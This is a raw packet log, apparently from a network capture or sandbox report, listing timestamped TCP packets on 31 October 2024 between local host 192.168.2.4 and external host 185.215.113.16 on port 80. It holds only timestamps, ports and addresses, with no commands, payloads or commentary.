Oct 31, 2024 04:15:12.220319033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220329046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220355034 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.220374107 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.220443010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220459938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220468998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220479965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220491886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220494032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.220503092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220514059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220521927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.220525026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220537901 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220550060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220561028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220561028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.220572948 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220583916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220594883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.220602989 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.220630884 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.221374989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221386909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221396923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221407890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221417904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221421003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.221429110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221441031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221457005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221468925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221474886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.221481085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221493959 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221499920 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.221504927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221517086 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221528053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221539974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221539974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.221549988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221561909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221589088 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.221617937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.221986055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.221996069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.222052097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.263402939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.263418913 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.263467073 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.263539076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.263550997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.263562918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.263583899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.263648033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.263689995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.268151999 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.268162012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.268197060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.329910994 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.336966038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.337100029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.337111950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.337162018 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.341653109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.398439884 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398454905 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398466110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398474932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398487091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398499012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398511887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398540020 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.398560047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398585081 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.398602962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.398737907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398750067 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398760080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398777008 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398785114 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.398789883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398802042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.398838043 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.398854971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.398869991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399044037 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399202108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399214029 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399246931 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.399281025 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.399334908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399346113 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399409056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.399715900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399727106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399738073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399743080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399755001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399765968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399777889 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399787903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399787903 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.399846077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.399861097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399873018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399888039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399899960 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.399928093 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.399962902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.400037050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400049925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400094032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.400584936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400595903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400610924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400620937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400662899 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.400723934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400736094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400746107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400758028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400767088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400778055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400790930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400798082 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.400801897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400815010 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400839090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.400857925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400863886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.400871038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.400897980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.401470900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.401482105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.401493073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.401504993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.401516914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.401516914 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.401536942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.401572943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.401603937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.401616096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.401671886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.402025938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402041912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402053118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402061939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402074099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402085066 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402096033 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.402096987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402107954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402118921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402131081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402137041 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.402160883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402160883 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.402173042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402183056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.402183056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402195930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402214050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402221918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.402226925 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402259111 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.402277946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.402298927 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402309895 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402348995 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.402944088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402956009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402965069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402975082 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402986050 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.402998924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.403000116 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403019905 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.403040886 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.403072119 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403084040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403134108 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.403217077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403228998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403238058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403248072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403253078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403258085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403259993 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.403264046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403269053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403280020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403290987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403304100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403306961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.403321981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.403333902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.403379917 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.403996944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404009104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404019117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404031038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404042006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404051065 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.404053926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404064894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404076099 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404088020 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404090881 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.404098988 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404108047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404114962 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.404125929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404134989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404139042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.404145002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404156923 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404167891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404186010 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.404194117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404203892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404215097 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404220104 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.404249907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.404256105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404268026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404278040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.404304981 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.404346943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.404990911 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405003071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405014038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405041933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405049086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.405051947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405065060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405076981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405085087 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.405086994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405097961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405108929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405118942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.405127048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405138969 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405138969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.405148983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405160904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405160904 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.405173063 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405184031 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405194998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405205011 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405205011 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.405241013 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.405252934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405260086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.405266047 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405275106 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405311108 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.405865908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.405913115 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.406001091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.406013012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.406022072 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.406033039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.406049013 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.406085014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.406147957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.406157017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.406214952 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.446485996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.446506023 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.446551085 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.446619987 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.446631908 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.446677923 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.449889898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.449899912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.449911118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.449953079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.450014114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.450135946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.519397974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.519412041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.519469023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.577877998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.577902079 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.577960968 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578011990 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578131914 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578146935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578162909 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578177929 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578191042 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578196049 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578210115 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578212976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578236103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578278065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578294039 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578310013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578315973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578346014 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578578949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578599930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578629017 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578643084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578650951 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578658104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578681946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578751087 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578767061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578780890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578794003 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578803062 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578820944 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578910112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578924894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578938961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578953028 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578953981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578969002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.578979969 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.578991890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579006910 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579010963 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579024076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579047918 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579550982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579566002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579580069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579621077 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579651117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:12.579690933 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579706907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579721928 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579737902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:12.579751015 CET	80	49738	185.215.113.16	192.168.2.4
